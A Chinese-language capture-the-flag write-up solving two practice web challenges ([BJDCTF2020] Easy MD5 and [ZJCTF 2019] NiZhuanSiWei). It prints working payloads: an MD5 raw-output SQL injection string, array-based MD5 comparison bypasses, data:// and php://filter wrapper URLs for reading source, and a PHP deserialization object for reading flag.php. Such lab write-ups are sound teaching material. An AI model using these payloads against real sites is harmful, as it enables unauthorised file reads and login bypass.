2021-03-28，[BJDCTF2020]Easy MD5，[ZJCTF 2019]NiZhuanSiWei

[BJDCTF2020]Easy MD5

遇到web题，先F12，看element和network，查查有没有什么东西

有了hint

试一下像sql注入一样吧password闭合
但是有个问题，md5里不可能出现or 1=1之类的

那咋办，看函数

当第二个参数为ture时，会返回原始16字符二进制格式

现在的问题是，谁在md5之后会出现or的十六进制形式，6F 72

卡了

看writeup
之前的思路有个地方错了，那个sql是字符型注入，也就是要找 ‘or’
ffifdyop可以

最后是这样

select * from 'admin' where password=''or'6�]��!r,��b'

进入下一部分
Do You Like MD5?

md5弱比较，详见这篇博客
2021-03-14由一段代码引发的血案，md5，foreach，unset绕过，php伪协议

同上，用数组

[ZJCTF 2019]NiZhuanSiWei

file_get_contents() 把整个文件读入一个字符串中。
但是怎么知道text有没有东西

还有就是看uesless.php，什么都没有，可能是里面有一些注释的东西
这时想到了之前学过的php伪协议，用data进行写入，把

welcome to the zjctf

写进去
再在file里读出来，正好符合

http://29202b3d-1cb0-43a8-ac64-c30b1af2a283.node3.buuoj.cn
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
&file=php://filter/read=convert.base64-encode/resource=useless.php
&password=1

把返回的页面base64解码，出现如下代码

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

出现了FLAG类
加上前面的unserialize函数，联系到反序列化，先把flag.php写出来再说

O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}

综合，如果file还是伪协议，回显的一直是那个base64，所以改写成文件名了

http://29202b3d-1cb0-43a8-ac64-c30b1af2a283.node3.buuoj.cn
?text=data:text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
&file=useless.php
&password=O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}

Ohhhhh
终于有个正常的返回了
flag呢？

F12，PLZ

if(2===3){  
	return ("flag{}");
}